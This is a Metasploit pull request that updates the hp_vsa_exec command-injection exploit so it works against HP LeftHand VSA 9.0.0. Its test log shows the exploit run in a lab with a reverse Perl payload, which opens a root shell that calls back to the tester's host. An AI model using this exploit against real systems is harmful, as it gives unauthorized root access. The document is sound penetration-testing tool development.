rapid7/metasploit-framework — pull request #1494 by jvazquez-r7 (2013-02-15 18:04:29+00:00)
Title: Modify hp_vsa_exec to work with lefthand 9.0.0

While looking at the new ZDI-13-* vulns related to LeftHand I've noticed it still works with LeftHand 9.0.0, just the packets needs to be adjusted a little.

I added an automatic target to keep the Excellent ranking :)

test:

```
msf > use exploit/multi/misc/hp_vsa_exec
msf exploit(hp_vsa_exec) > show options

Module options (exploit/multi/misc/hp_vsa_exec):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 13838 yes The remote port

Exploit target:

Id Name
-- ----
0 Automatic

msf exploit(hp_vsa_exec) > set rhost 192.168.1.190
rhost => 192.168.1.190
msf exploit(hp_vsa_exec) > set payload cmd/unix/reverse_perl
payload => cmd/unix/reverse_perl
msf exploit(hp_vsa_exec) > exploit

[*] Started reverse handler on 192.168.1.128:4444
[*] 192.168.1.190:13838 Sending login packet for version 8.5.0
[*] 192.168.1.190:13838 Sending login packet for version 9.0.0
[+] 192.168.1.190:13838 - Target HP VSA 9 found
[*] 192.168.1.190:13838 Sending injection
[*] Command shell session 1 opened (192.168.1.128:4444 -> 192.168.1.190:50401) at 2013-02-15 19:00:35 +0100

id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
uname -a
Linux vsatest 2.6.32.15 #1 SMP Wed Aug 25 17:59:43 MDT 2010 i686 i686 i386 GNU/Linux
^C
Abort session 1? [y/N] y

[*] 192.168.1.190 - Command shell session 1 closed. Reason: User exit

```